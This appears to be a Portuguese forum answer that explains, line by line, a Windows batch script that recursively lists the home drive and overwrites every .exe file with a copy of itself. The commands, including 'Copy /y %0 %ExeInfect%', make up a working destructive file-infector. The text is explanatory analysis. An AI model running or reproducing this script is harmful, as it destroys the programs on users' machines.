@echo off
Desativa o eco dos comandos em lote.
Dir %Homedrive% /s /b > DirPath
Lista todos os arquivos e diretórios em sua unidade inicial (geralmente C:
), um por linha ( /b
switch), incluindo subdiretórios ( /s
switch) e armazena o resultado no arquivo DirPath
.
For /f %%Y In (DirPath) Do ( ... )
Transversa DirPath
e executa ...
para cada item. %%Y
conterá o primeiro item da linha.
Set DirPath=%%Y > Nul
Armazena o primeiro item da linha na variável DirPath
.
For %%Z In (%DirPath%\*.exe) Do ( ... )
Transversa todos os arquivos .exe
no diretório armazenado na variável DirPath
. %%Z
conterá o nome do executável.
Set ExeInfect=%%Z > Nul
Armazena o nome do executável na variável ExeInfect
.
Copy /y %0 %ExeInfect%
Copia sem avisar ( /y
switch) o executável atual (ou seja, o arquivo de lote) sobre o executável armazenado em ExeInfect
.
Como resultado, todos os executáveis são substituídos pelo arquivo em lote.
Bem, quase todos. O primeiro comando For
se comportará incorretamente se o nome do diretório contiver espaços ...